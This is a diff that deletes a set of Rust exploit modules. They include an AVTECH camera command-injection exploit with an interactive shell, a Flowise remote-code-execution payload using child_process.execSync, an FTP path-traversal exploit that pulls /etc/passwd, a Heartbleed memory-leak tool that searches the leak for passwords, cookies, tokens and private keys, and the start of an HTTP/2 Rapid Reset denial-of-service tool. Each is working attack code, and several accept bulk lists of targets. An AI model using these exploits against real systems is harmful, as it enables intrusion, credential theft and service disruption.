execute_exploit(&target, &port, &command, &ysoserial_path, &gadget, &payload_type, ssl_verify).await
}
@@ -1,3 +0,0 @@
pub mod cve_2025_24813_apache_tomcat_rce;
pub mod catkiller_cve_2025_31650;
@@ -1,114 +0,0 @@
use anyhow::Result;
use reqwest::Client;
use std::io::{self, Write};
use std::path::Path;
use std::time::Duration;
use tokio::io::{AsyncBufReadExt, BufReader};
/// // Ensures the target string has a scheme (http://) and includes port
fn normalize_url(ip: &str, port: &str) -> String {
let with_scheme = if ip.starts_with("http://") || ip.starts_with("https://") {
ip.to_string()
} else {
format!("http://{}", ip)
};
let port = port.trim();
if port.is_empty() {
with_scheme
} else if with_scheme.contains(':') {
with_scheme // already has port
} else {
format!("{}:{}", with_scheme, port)
}
}
/// // Check if the device is vulnerable to CVE-2024-7029
async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
let mut url = reqwest::Url::parse(base)?;
url.set_path("/cgi-bin/supervisor/Factory.cgi");
url.query_pairs_mut()
.append_pair("action", "Set")
.append_pair("brightness", "1;echo_CVE7029;");
let resp = client.get(url).send().await?;
let body = resp.text().await?;
Ok(body.contains("echo_CVE7029"))
}
/// // Interactive shell to send arbitrary commands
async fn interactive_shell(client: &Client, base: &str) -> Result<()> {
let stdin = tokio::io::stdin();
let mut lines = BufReader::new(stdin).lines();
loop {
print!("cve7029-shell> ");
io::stdout().flush()?;
if let Some(cmd) = lines.next_line().await? {
let cmd = cmd.trim();
if cmd.eq_ignore_ascii_case("exit") {
break;
}
match exec_cmd(client, base, cmd).await {
Ok(out) => println!("{}", out),
Err(e) => eprintln!("Error: {}", e),
}
} else {
break;
}
}
Ok(())
}
/// // Execute a remote command by abusing the brightness parameter
async fn exec_cmd(client: &Client, base: &str, cmd: &str) -> Result<String> {
let mut url = reqwest::Url::parse(base)?;
url.set_path("/cgi-bin/supervisor/Factory.cgi");
let payload = format!("1;{};", cmd);
url.query_pairs_mut()
.append_pair("action", "Set")
.append_pair("brightness", &payload);
let response = client.get(url).send().await?;
Ok(response.text().await?)
}
/// // Prompt user for a custom port number
fn prompt_port() -> Result<String> {
print!("Enter port to use [default: 80]: ");
io::stdout().flush()?;
let mut port = String::new();
io::stdin().read_line(&mut port)?;
let port = port.trim();
Ok(if port.is_empty() { "80".to_string() } else { port.to_string() })
}
/// // Entry point required for RouterSploit-inspired dispatch system
pub async fn run(target: &str) -> Result<()> {
let port = prompt_port()?;
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(5))
.build()?;
// // Handle either single IP or file of targets
let targets = if Path::new(target).exists() {
tokio::fs::read_to_string(target)
.await?
.lines()
.map(str::to_string)
.collect::<Vec<_>>()
} else {
vec![target.to_string()]
};
for raw_ip in &targets {
let url = normalize_url(raw_ip, &port);
if check_vuln(&client, &url).await? {
println!("[+] {} is vulnerable!", url);
interactive_shell(&client, &url).await?;
} else {
println!("[-] {} is not vulnerable", url);
}
}
Ok(())
}
-1
View File
@@ -1 +0,0 @@
pub mod cve_2024_7029_avtech_camera;
@@ -1,185 +0,0 @@
// CVE-2025-59528 - Flowise < 3.0.5 Remote Code Execution
// Exploit Author: nltt0 (https://github.com/nltt-br)
// Vendor Homepage: https://flowiseai.com/
// Software Link: https://github.com/FlowiseAI/Flowise
// Version: < 3.0.5
use anyhow::{anyhow, Context, Result};
use colored::*;
use reqwest::Client;
use serde_json::json;
use std::io::{self, Write};
use std::time::Duration;
/// Displays module banner
fn banner() {
println!(
"{}",
r#"
_____ _ _____
/ __ \ | | / ___|
| / \/ __ _| | __ _ _ __ __ _ ___ ___ \ `--.
| | / _` | |/ _` | '_ \ / _` |/ _ \/ __| `--. \
| \__/\ (_| | | (_| | | | | (_| | (_) \__ \/\__/ /
\____/\__,_|_|\__,_|_| |_|\__, |\___/|___/\____/
__/ |
|___/
by nltt0
"#
.cyan()
);
}
/// Login to Flowise and return authenticated session
async fn login(client: &Client, url: &str, email: &str, password: &str) -> Result<String> {
let login_url = format!("{}/api/v1/auth/login", url.trim_end_matches('/'));
let data = json!({
"email": email,
"password": password
});
let response = client
.post(&login_url)
.header("x-request-from", "internal")
.header("Accept-Language", "pt-BR,pt;q=0.9")
.header("Accept", "application/json, text/plain, */*")
.header("Content-Type", "application/json")
.header("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36")
.header("Origin", "http://workflow.flow.hc")
.header("Referer", "http://workflow.flow.hc/signin")
.header("Accept-Encoding", "gzip, deflate, br")
.header("Connection", "keep-alive")
.json(&data)
.send()
.await
.context("Failed to send login request")?;
if response.status().is_success() {
// Extract session token/cookie from response
// The actual token extraction depends on Flowise's response format
// For now, we'll use the cookie jar from the client
Ok("authenticated".to_string())
} else {
Err(anyhow!("Login failed with status: {}", response.status()))
}
}
/// Execute remote code via the customMCP endpoint
async fn execute_rce(
client: &Client,
url: &str,
email: &str,
password: &str,
cmd: &str,
) -> Result<()> {
// First, login to get authenticated session
println!("{}", "[*] Attempting to login...".yellow());
login(client, url, email, password).await?;
println!("{}", "[+] Login successful".green());
let rce_url = format!("{}/api/v1/node-load-method/customMCP", url.trim_end_matches('/'));
// Escape the command for JavaScript execution
let escaped_cmd = cmd.replace('\\', "\\\\").replace('"', "\\\"").replace('\n', "\\n");
// Construct the malicious payload
let command = format!(
r#"({{x:(function(){{const cp = process.mainModule.require("child_process");cp.execSync("{}");return 1;}})()}})"#,
escaped_cmd
);
let data = json!({
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": command
}
});
println!("{}", format!("[*] Executing command: {}", cmd).yellow());
let response = client
.post(&rce_url)
.header("x-request-from", "internal")
.header("Content-Type", "application/json")
.json(&data)
.send()
.await
.context("Failed to send RCE request")?;
if response.status() == 401 {
// Retry with internal header if we get 401
println!("{}", "[*] Received 401, retrying with internal header...".yellow());
let retry_response = client
.post(&rce_url)
.header("x-request-from", "internal")
.json(&data)
.send()
.await
.context("Failed to retry RCE request")?;
if retry_response.status().is_success() {
println!("{}", format!("[+] Command executed successfully: {}", cmd).green().bold());
} else {
println!("{}", format!("[-] Command execution failed with status: {}", retry_response.status()).red());
}
} else if response.status().is_success() {
println!("{}", format!("[+] Command executed successfully: {}", cmd).green().bold());
} else {
println!("{}", format!("[-] Command execution failed with status: {}", response.status()).red());
}
Ok(())
}
/// Main entry point for auto-dispatch system
pub async fn run(target: &str) -> Result<()> {
banner();
let mut base_url = target.trim().to_string();
if !base_url.starts_with("http://") && !base_url.starts_with("https://") {
base_url = format!("http://{}", base_url);
}
base_url = base_url.trim_end_matches('/').to_string();
println!("{}", format!("[*] Target URL: {}", base_url).yellow());
// Build HTTP client with cookie support and SSL verification disabled
let client = Client::builder()
.timeout(Duration::from_secs(30))
.danger_accept_invalid_certs(true)
.cookie_store(true)
.build()
.context("Failed to create HTTP client")?;
// Prompt for credentials and command
let mut email = String::new();
let mut password = String::new();
let mut command = String::new();
print!("{}", "Email: ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut email)?;
print!("{}", "Password: ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut password)?;
print!("{}", "Command to execute: ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut command)?;
let email = email.trim();
let password = password.trim();
let command = command.trim();
if email.is_empty() || password.is_empty() || command.is_empty() {
return Err(anyhow!("Email, password, and command must be provided"));
}
execute_rce(&client, &base_url, email, password, command).await?;
Ok(())
}
-2
View File
@@ -1,2 +0,0 @@
pub mod cve_2025_59528_flowise_rce;
-1
View File
@@ -1 +0,0 @@
pub mod pachev_ftp_path_traversal_1_0;
@@ -1,198 +0,0 @@
use anyhow::{anyhow, Result};
use ftp::FtpStream;
use std::net::ToSocketAddrs;
use std::fs::{File, OpenOptions};
use std::io::{self, copy, BufRead, BufReader, Write};
use std::path::Path;
use tokio::task;
use tokio::sync::Semaphore;
use futures::stream::{FuturesUnordered, StreamExt};
use colored::*; // // Colorful output
use std::time::Duration;
use tokio::time::timeout;
const MAX_CONCURRENT_TASKS: usize = 10; // // Limit concurrent scanning
const FTP_TIMEOUT_SECONDS: u64 = 10; // // Timeout per FTP connection
// // Format IPv4 or IPv6 address with port (handles multiple layers of brackets)
fn format_addr(target: &str, port: u16) -> String {
let mut clean = target.trim().to_string();
while clean.starts_with('[') && clean.ends_with(']') {
clean = clean[1..clean.len() - 1].to_string();
}
if clean.contains(':') {
format!("[{}]:{}", clean, port)
} else {
format!("{}:{}", clean, port)
}
}
// // Actual FTP path traversal exploit
fn exploit_target(target: String, port: u16) -> Result<String> {
let addr = format_addr(&target, port);
println!("{}", format!("[*] Connecting to FTP service at {}...", addr).yellow());
// Resolve address with better error handling
let socket_addr = addr.to_socket_addrs()?
.next()
.ok_or_else(|| anyhow!("Failed to resolve address: {}", addr))?;
let mut ftp = FtpStream::connect(socket_addr)
.map_err(|e| anyhow!("FTP connection error to {}: {}", addr, e))?;
ftp.login("pachev", "").map_err(|e| anyhow!("FTP login failed: {}", e))?;
println!("{}", "[+] Logged in successfully as 'pachev'.".green());
println!("{}", "[*] Attempting to retrieve /etc/passwd via path traversal...".yellow());
let reader = ftp.simple_retr("../../../../../../../../etc/passwd")
.map_err(|e| anyhow!("Failed to retrieve file: {}", e))?
.into_inner();
let mut reader = std::io::Cursor::new(reader);
let safe_name = target.replace(['[', ']', ':'], "_");
let out_file = format!("{}_passwd.txt", safe_name);
let mut file = File::create(&out_file)?;
copy(&mut reader, &mut file)?;
ftp.quit().ok();
println!("{}", format!("[+] File saved as {}", out_file).green());
Ok(format!("{} SUCCESS", target))
}
// // Save result line into `results.txt`
fn save_result(line: &str) -> Result<()> {
let mut file = OpenOptions::new()
.create(true)
.append(true)
.open("results.txt")?;
writeln!(file, "{}", line)?;
Ok(())
}
// // Public auto-dispatch entry point
pub async fn run(target: &str) -> Result<()> {
let target = target.to_string(); // // Own target early to avoid lifetime issues
print!("{}", "Enter the FTP port (default 21): ".cyan().bold());
io::stdout().flush()?;
let mut port_input = String::new();
io::stdin().read_line(&mut port_input)?;
let port_input = port_input.trim();
let port = if port_input.is_empty() {
21
} else {
port_input.parse::<u16>().map_err(|_| anyhow!("Invalid port number: {}", port_input))?
};
print!("{}", "Do you want to use a list of IPs? (yes/no): ".cyan().bold());
io::stdout().flush()?;
let mut use_list = String::new();
io::stdin().read_line(&mut use_list)?;
let use_list = use_list.trim().to_lowercase();
if use_list == "yes" || use_list == "y" {
print!("{}", "Enter path to the IP list file: ".cyan().bold());
io::stdout().flush()?;
let mut path = String::new();
io::stdin().read_line(&mut path)?;
let path = path.trim();
if !Path::new(path).exists() {
return Err(anyhow!("List file does not exist: {}", path));
}
let file = File::open(path)?;
let reader = BufReader::new(file);
let semaphore = std::sync::Arc::new(Semaphore::new(MAX_CONCURRENT_TASKS));
let mut futures = FuturesUnordered::new();
for line_result in reader.lines() {
match line_result {
Ok(ip) => {
let ip = ip.trim();
if ip.is_empty() {
continue;
}
let ip_owned = ip.to_string();
let ip_for_errors = ip_owned.clone(); // Clone for error messages
let port = port;
let permit = semaphore.clone().acquire_owned().await?;
println!("{}", format!("[*] Launching task for target: {}", ip_owned).yellow());
futures.push(tokio::spawn(async move {
let _permit = permit; // // Hold permit alive
let ip_for_errors = ip_for_errors.clone(); // Clone for error messages in closure
let exploit_task = task::spawn_blocking(move || exploit_target(ip_owned, port));
match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await {
Ok(Ok(Ok(success))) => {
println!("{}", format!("[+] Success: {}", success).green().bold());
let _ = save_result(&success);
}
Ok(Ok(Err(e))) => {
println!("{}", format!("[-] Exploit error for {}: {}", ip_for_errors, e).red());
let _ = save_result(&format!("{} FAIL: {}", ip_for_errors, e));
}
Ok(Err(e)) => {
println!("{}", format!("[-] Join error for {}: {}", ip_for_errors, e).red());
let _ = save_result(&format!("{} FAIL: Join error {}", ip_for_errors, e));
}
Err(_) => {
println!("{}", format!("[-] Timeout while exploiting {} ({}s)", ip_for_errors, FTP_TIMEOUT_SECONDS).yellow());
let _ = save_result(&format!("{} TIMEOUT", ip_for_errors));
}
}
Ok::<(), anyhow::Error>(())
}));
}
Err(e) => {
println!("{}", format!("[!] Failed to read line: {}", e).red());
}
}
}
// // Wait for all tasks to complete
while let Some(res) = futures.next().await {
if let Err(e) = res {
println!("{}", format!("[!] Task error: {}", e).red());
}
}
} else {
// // Single target mode
let target_owned = target.to_string();
let port = port;
println!("{}", format!("[*] Exploiting single target: {}:{}", target, port).yellow());
let exploit_task = task::spawn_blocking(move || exploit_target(target_owned, port));
match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await {
Ok(Ok(Ok(success))) => {
println!("{}", format!("[+] Success: {}", success).green().bold());
let _ = save_result(&success);
}
Ok(Ok(Err(e))) => {
println!("{}", format!("[-] Exploit error: {}", e).red());
let _ = save_result(&format!("{} FAIL: {}", target, e));
}
Ok(Err(e)) => {
println!("{}", format!("[-] Join error: {}", e).red());
let _ = save_result(&format!("{} FAIL: Join error {}", target, e));
}
Err(_) => {
println!("{}", format!("[-] Timeout while exploiting {} ({}s)", target, FTP_TIMEOUT_SECONDS).yellow());
let _ = save_result(&format!("{} TIMEOUT", target));
}
}
}
Ok(())
}
-477
View File
@@ -1,477 +0,0 @@
use anyhow::{Context, Result, bail};
use std::fs::File;
use std::io::{Write, BufRead, BufReader};
use std::net::ToSocketAddrs;
use std::path::Path;
use std::time::{SystemTime, UNIX_EPOCH};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{timeout, Duration, sleep};
use regex::Regex;
use std::sync::Arc;
use tokio::sync::Semaphore;
use futures::stream::{FuturesUnordered, StreamExt};
use colored::Colorize;
const MAX_RETRIES: u32 = 3;
const INITIAL_BACKOFF_MS: u64 = 500;
const MAX_CONCURRENT: usize = 10;
const DEFAULT_HEARTBEAT_ATTEMPTS: usize = 5;
#[derive(Clone)]
pub struct ScanConfig {
pub port: u16,
pub payload_size: u16,
pub heartbeat_attempts: usize,
pub batch_file: Option<String>,
}
impl Default for ScanConfig {
fn default() -> Self {
Self {
port: 443,
payload_size: 0x4000,
heartbeat_attempts: DEFAULT_HEARTBEAT_ATTEMPTS,
batch_file: None,
}
}
}
pub async fn run(target: &str) -> Result<()> {
let config = get_user_config(target)?;
run_with_config(target, config).await
}
fn get_user_config(target: &str) -> Result<ScanConfig> {
let mut config = ScanConfig::default();
println!("{}", "=== Heartbleed Scanner Configuration ===".cyan().bold());
println!();
print!("{}", format!("Enter target port [default: {}]: ", config.port).green());
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
if let Ok(port) = input.trim().parse::<u16>() {
if port > 0 {
config.port = port;
}
}
print!("{}", format!("Enter payload size in bytes [default: {} (16KB)]: ", config.payload_size).green());
std::io::stdout().flush()?;
input.clear();
std::io::stdin().read_line(&mut input)?;
if let Ok(size) = input.trim().parse::<u16>() {
if size > 0 && size <= 0x4000 {
config.payload_size = size;
} else if size > 0x4000 {
println!("{}", "Warning: Payload size capped at 16KB (0x4000)".yellow());
config.payload_size = 0x4000;
}
}
print!("{}", format!("Enter number of heartbeat attempts [default: {}]: ", config.heartbeat_attempts).green());
std::io::stdout().flush()?;
input.clear();
std::io::stdin().read_line(&mut input)?;
if let Ok(attempts) = input.trim().parse::<usize>() {
if attempts > 0 && attempts <= 20 {
config.heartbeat_attempts = attempts;
} else if attempts > 20 {
println!("{}", "Warning: Too many attempts, capped at 20".yellow());
config.heartbeat_attempts = 20;
}
}
if target.is_empty() {
print!("{}", "Use batch mode? (scan multiple targets from file) [y/N]: ".green());
std::io::stdout().flush()?;
input.clear();
std::io::stdin().read_line(&mut input)?;
if input.trim().eq_ignore_ascii_case("y") || input.trim().eq_ignore_ascii_case("yes") {
print!("{}", "Enter batch file path: ".green());
std::io::stdout().flush()?;
input.clear();
std::io::stdin().read_line(&mut input)?;
let batch_file = input.trim().to_string();
if !batch_file.is_empty() {
if Path::new(&batch_file).exists() {
config.batch_file = Some(batch_file);
} else {
println!("{}", format!("Warning: File '{}' not found, skipping batch mode", batch_file).yellow());
}
}
}
}
println!();
println!("{}", "Configuration Summary:".cyan().bold());
println!(" Port: {}", config.port);
println!(" Payload Size: {} bytes", config.payload_size);
println!(" Heartbeat Attempts: {}", config.heartbeat_attempts);
if let Some(ref batch) = config.batch_file {
println!(" Batch File: {}", batch);
}
println!();
Ok(config)
}
pub async fn run_with_config(target: &str, config: ScanConfig) -> Result<()> {
if let Some(batch_file) = &config.batch_file {
run_batch_scan(batch_file, &config).await
} else {
scan_single_target(target, &config).await
}
}
async fn run_batch_scan(batch_file: &str, config: &ScanConfig) -> Result<()> {
let file = File::open(batch_file)
.with_context(|| format!("Failed to open batch file: {}", batch_file))?;
let reader = BufReader::new(file);
let targets: Vec<String> = reader
.lines()
.filter_map(|line| line.ok())
.map(|line| line.trim().to_string())
.filter(|line| !line.is_empty() && !line.starts_with('#'))
.collect();
if targets.is_empty() {
bail!("No valid targets found in batch file");
}
println!("{}", format!("[*] Loaded {} targets from batch file", targets.len()).cyan());
println!("{}", format!("[*] Starting concurrent scan with max {} concurrent connections\n", MAX_CONCURRENT).cyan());
let semaphore = Arc::new(Semaphore::new(MAX_CONCURRENT));
let mut tasks = FuturesUnordered::new();
for target in targets {
let config_clone = config.clone();
let sem = semaphore.clone();
tasks.push(tokio::spawn(async move {
let _permit = sem.acquire().await.unwrap();
scan_single_target(&target, &config_clone).await
}));
}
while let Some(result) = tasks.next().await {
if let Err(e) = result {
eprintln!("{}", format!("[-] Task error: {}", e).red());
}
}
println!("{}", "\n[*] Batch scan complete".green().bold());
Ok(())
}
async fn scan_single_target(target: &str, config: &ScanConfig) -> Result<()> {
let raw = target.trim();
if raw.is_empty() {
bail!("Target address cannot be empty");
}
let stripped = raw
.trim_start_matches('[')
.trim_end_matches(']');
let host = if stripped.contains(':') && !stripped.contains('.') {
format!("[{}]", stripped)
} else {
stripped.to_string()
};
let addr = format!("{}:{}", host, config.port);
println!("{}", format!("[*] Target: {} | Payload: {} bytes | Attempts: {}",
addr, config.payload_size, config.heartbeat_attempts).cyan());
let mut all_leaked_data = Vec::new();
for attempt in 1..=config.heartbeat_attempts {
println!("{}", format!("[*] Heartbeat attempt {}/{}", attempt, config.heartbeat_attempts).cyan());
match scan_with_retry(&addr, config.payload_size).await {
Ok(Some(data)) => {
println!("{}", format!("[+] Attempt {} leaked {} bytes", attempt, data.len()).green());
all_leaked_data.extend_from_slice(&data);
}
Ok(None) => {
println!("{}", format!("[-] Attempt {} failed to leak data", attempt).yellow());
}
Err(e) => {
println!("{}", format!("[-] Attempt {} error: {}", attempt, e).red());
}
}
if attempt < config.heartbeat_attempts {
sleep(Duration::from_millis(100)).await;
}
}
if all_leaked_data.is_empty() {
println!("{}", format!("[-] No data leaked from {} - likely not vulnerable\n", addr).red());
return Ok(());
}
println!();
println!("{}", format!("[+] Total leaked data: {} bytes", all_leaked_data.len()).green().bold());
println!("{}", format!("[+] Server {} is VULNERABLE to Heartbleed!", addr).red().bold());
println!();
analyze_leaked_data(&all_leaked_data);
let safe_filename = stripped
.replace(':', "_")
.replace('/', "_")
.replace('\\', "_");
let filename = format!("leak_dump_{}.bin", safe_filename);
save_leak_dump(&filename, &all_leaked_data)?;
println!("{}", format!("[+] Full leak dump saved to: {}\n", filename).green());
Ok(())
}
async fn scan_with_retry(addr: &str, payload_size: u16) -> Result<Option<Vec<u8>>> {
let mut backoff = INITIAL_BACKOFF_MS;
for retry in 0..MAX_RETRIES {
if retry > 0 {
println!("{}", format!("[*] Retry {}/{} after {}ms...", retry, MAX_RETRIES - 1, backoff).yellow());
sleep(Duration::from_millis(backoff)).await;
backoff *= 2;
}
match perform_heartbleed_test(addr, payload_size).await {
Ok(data) => return Ok(data),
Err(e) if retry < MAX_RETRIES - 1 => {
println!("{}", format!("[-] Connection failed: {} - retrying...", e).yellow());
continue;
}
Err(e) => return Err(e),
}
}
bail!("All retry attempts exhausted")
}
async fn perform_heartbleed_test(addr: &str, payload_size: u16) -> Result<Option<Vec<u8>>> {
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address format")?
.next()
.context("Could not resolve target address")?;
let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
let mut stream = match stream_result {
Ok(Ok(s)) => s,
Ok(Err(e)) => bail!("Connection failed: {}", e),
Err(_) => bail!("Connection timed out"),
};
stream.write_all(&build_client_hello()).await
.context("Failed to send Client Hello")?;
stream.flush().await
.context("Failed to flush after Client Hello")?;
let mut response = vec![0u8; 4096];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
match read_result {
Ok(Ok(n)) if n > 0 => {},
Ok(Ok(_)) => bail!("No response to Client Hello"),
Ok(Err(e)) => bail!("Read error: {}", e),
Err(_) => bail!("Read timed out"),
}
stream.write_all(&build_heartbeat_request(payload_size)).await
.context("Failed to send Heartbeat request")?;
stream.flush().await
.context("Failed to flush after Heartbeat")?;
let mut leak = vec![0u8; 65535];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
let n = match read_result {
Ok(Ok(n)) if n > 0 => n,
Ok(Ok(_)) => return Ok(None),
Ok(Err(_)) => return Ok(None),
Err(_) => return Ok(None),
};
if n <= 5 {
return Ok(None);
}
Ok(Some(leak[..n].to_vec()))
}
fn analyze_leaked_data(data: &[u8]) {
println!("{}", "[*] Analyzing leaked data for sensitive patterns...\n".cyan().bold());
let data_str = String::from_utf8_lossy(data);
let password_patterns = vec![
(r"password[=:]\s*[^\s&]{3,}", "Password"),
(r"passwd[=:]\s*[^\s&]{3,}", "Password"),
(r"pwd[=:]\s*[^\s&]{3,}", "Password"),
(r"pass[=:]\s*[^\s&]{3,}", "Password"),
];
for (pattern, label) in password_patterns {
if let Ok(re) = Regex::new(pattern) {
for cap in re.find_iter(&data_str) {
println!("{}", format!("[!] {} found: {}", label, cap.as_str()).red().bold());
}
}
}
let cookie_re = Regex::new(r"Cookie:\s*([^\r\n]+)").ok();
if let Some(re) = cookie_re {
for cap in re.captures_iter(&data_str) {
if let Some(cookie) = cap.get(1) {
println!("{}", format!("[!] Cookie found: {}", cookie.as_str()).yellow().bold());
}
}
}
let session_patterns = vec![
r"PHPSESSID=[a-zA-Z0-9]{20,}",
r"JSESSIONID=[a-zA-Z0-9]{20,}",
r"session[_-]?id[=:][a-zA-Z0-9]{20,}",
];
for pattern in session_patterns {
if let Ok(re) = Regex::new(pattern) {
for cap in re.find_iter(&data_str) {
println!("{}", format!("[!] Session token found: {}", cap.as_str()).yellow().bold());
}
}
}
let key_markers = vec![
"-----BEGIN RSA PRIVATE KEY-----",
"-----BEGIN PRIVATE KEY-----",
"-----BEGIN EC PRIVATE KEY-----",
"-----BEGIN DSA PRIVATE KEY-----",
"-----BEGIN OPENSSH PRIVATE KEY-----",
];
for marker in key_markers {
if data_str.contains(marker) {
println!("{}", format!("[!!!] PRIVATE KEY DETECTED: {}", marker).red().bold().on_yellow());
}
}
let auth_re = Regex::new(r"Authorization:\s*([^\r\n]+)").ok();
if let Some(re) = auth_re {
for cap in re.captures_iter(&data_str) {
if let Some(auth) = cap.get(1) {
println!("{}", format!("[!] Authorization header found: {}", auth.as_str()).yellow().bold());
}
}
}
let email_re = Regex::new(r"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}").ok();
if let Some(re) = email_re {
let mut emails = std::collections::HashSet::new();
for cap in re.find_iter(&data_str) {
emails.insert(cap.as_str().to_string());
}
if !emails.is_empty() {
println!();
println!("{}", format!("[*] Email addresses found: {}", emails.len()).cyan());
for (i, email) in emails.iter().take(5).enumerate() {
println!(" {}: {}", i + 1, email);
}
if emails.len() > 5 {
println!(" ... and {} more", emails.len() - 5);
}
}
}
println!();
println!("{}", "[*] Printable data preview (first 512 bytes):".cyan());
println!("{}", printable_dump(&data[..data.len().min(512)]));
}
fn save_leak_dump(filename: &str, data: &[u8]) -> Result<()> {
let path = Path::new(filename);
let mut file = File::create(path)
.with_context(|| format!("Failed to create dump file '{}'", filename))?;
file.write_all(data)
.with_context(|| format!("Failed to write leak data to '{}'", filename))?;
Ok(())
}
fn build_client_hello() -> Vec<u8> {
let version: u16 = 0x0302;
let time_now = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap_or_default()
.as_secs() as u32;
let mut random = vec![];
random.extend_from_slice(&time_now.to_be_bytes());
random.extend_from_slice(&[0x42; 28]);
let cipher_suites: Vec<u16> = vec![
0xC014, 0x0035, 0x002F, 0x000A, 0x0005, 0x0004, 0x0003, 0x0002, 0x0001,
];
let mut hello = vec![];
hello.extend_from_slice(&version.to_be_bytes());
hello.extend_from_slice(&random);
hello.push(0);
hello.extend_from_slice(&((cipher_suites.len() * 2) as u16).to_be_bytes());
for cs in &cipher_suites {
hello.extend_from_slice(&cs.to_be_bytes());
}
hello.push(1);
hello.push(0);
let mut extensions = vec![];
extensions.extend_from_slice(&0x000f_u16.to_be_bytes());
extensions.extend_from_slice(&0x0001_u16.to_be_bytes());
extensions.push(0x01);
hello.extend_from_slice(&(extensions.len() as u16).to_be_bytes());
hello.extend_from_slice(&extensions);
let mut handshake = vec![0x01];
let len = (hello.len() as u32).to_be_bytes();
handshake.extend_from_slice(&len[1..]);
handshake.extend_from_slice(&hello);
build_tls_record(0x16, version, &handshake)
}
fn build_heartbeat_request(length: u16) -> Vec<u8> {
let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
build_tls_record(0x18, 0x0302, &payload)
}
fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
let mut record = vec![record_type];
record.extend_from_slice(&version.to_be_bytes());
record.extend_from_slice(&(payload.len() as u16).to_be_bytes());
record.extend_from_slice(payload);
record
}
fn printable_dump(data: &[u8]) -> String {
data.iter()
.map(|b| match *b {
32..=126 => *b as char,
b'\n' => '\n',
b'\r' | b'\t' => ' ',
_ => '.',
})
.collect()
}
-1
View File
@@ -1 +0,0 @@
pub mod heartbleed;
@@ -1,445 +0,0 @@
// CVE-2023-44487 - HTTP/2 Rapid Reset Denial of Service
// Exploit Author: Madhusudhan Rajappa
// Date: 29th August 2025
// Version: HTTP/2.0
use anyhow::{anyhow, Context, Result};
use colored::*;
use h2::client::Builder;
use std::io::{self, Write};
use std::net::ToSocketAddrs;
use std::time::{Duration, Instant};
use tokio::net::TcpStream;
use tokio::time::timeout;
use tokio_rustls::TlsConnector;
/// Displays module banner
fn banner() {
println!(
"{}",
r#"
╔═══════════════════════════════════════════════════════════╗
║ CVE-2023-44487 HTTP/2 Rapid Reset DoS Vulnerability ║
║ Tester ║
║ ║
║ WARNING: Only use on systems you own or have ║
║ permission to test! ║
╚═══════════════════════════════════════════════════════════╝
"#
.cyan()
);
}
/// Normalize IPv6 host with brackets
fn normalize_host(host: &str) -> String {
let stripped = host.trim_matches(|c| c == '[' || c == ']');
if stripped.contains(':') {
format!("[{}]", stripped)
} else {
stripped.to_string()
}
}
/// Perform baseline test with normal HTTP/2 requests
async fn baseline_test(
host: &str,
port: u16,
use_ssl: bool,
num_requests: usize,
) -> Result<()> {
println!("{}", format!("\n[*] Performing baseline test with {} normal requests...", num_requests).yellow());
let host_normalized = normalize_host(host);
let addr = format!("{}:{}", host_normalized, port);
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address format")?
.next()
.context("Could not resolve target address")?;
let stream = TcpStream::connect(socket_addr).await?;
if use_ssl {
let root_store = tokio_rustls::rustls::RootCertStore::empty();
let config = tokio_rustls::rustls::ClientConfig::builder()
.with_safe_defaults()
.with_root_certificates(root_store)
.with_no_client_auth();
let connector = TlsConnector::from(std::sync::Arc::new(config));
let server_name = tokio_rustls::rustls::ServerName::try_from(host)
.map_err(|_| anyhow!("Invalid server name"))?;
let tls_stream = connector.connect(server_name, stream).await?;
let (mut sender, connection) = Builder::new()
.handshake::<_, bytes::BytesMut>(tls_stream)
.await?;
// Spawn connection task
tokio::spawn(async move {
if let Err(e) = connection.await {
eprintln!("Connection error: {:?}", e);
}
});
let mut successful = 0;
let start = Instant::now();
for i in 0..num_requests {
let request = http::Request::builder()
.uri(format!("https://{}:{}/", host, port))
.body(())
.unwrap();
match sender.send_request(request, true) {
Ok(_send_stream) => {
// Request sent successfully with end_of_stream=true
successful += 1;
}
Err(_) => {
break;
}
}
if i < num_requests - 1 {
tokio::time::sleep(Duration::from_millis(100)).await;
}
}
let duration = start.elapsed();
println!("{}", format!("[+] Baseline Results:").green());
println!(" Total Requests: {}", num_requests);
println!(" Successful: {}", successful);
println!(" Success Rate: {:.2}%", (successful as f64 / num_requests as f64) * 100.0);
println!(" Duration: {:.3}s", duration.as_secs_f64());
} else {
let (mut sender, connection) = Builder::new()
.handshake::<_, bytes::BytesMut>(stream)
.await?;
// Spawn connection task
tokio::spawn(async move {
if let Err(e) = connection.await {
eprintln!("Connection error: {:?}", e);
}
});
let mut successful = 0;
let start = Instant::now();
for i in 0..num_requests {
let request = http::Request::builder()
.uri(format!("http://{}:{}/", host, port))
.body(())
.unwrap();
match sender.send_request(request, true) {
Ok(_send_stream) => {
// Request sent successfully with end_of_stream=true
successful += 1;
}
Err(_) => {
break;
}
}
if i < num_requests - 1 {
tokio::time::sleep(Duration::from_millis(100)).await;
}
}
let duration = start.elapsed();
println!("{}", format!("[+] Baseline Results:").green());
println!(" Total Requests: {}", num_requests);
println!(" Successful: {}", successful);
println!(" Success Rate: {:.2}%", (successful as f64 / num_requests as f64) * 100.0);
println!(" Duration: {:.3}s", duration.as_secs_f64());
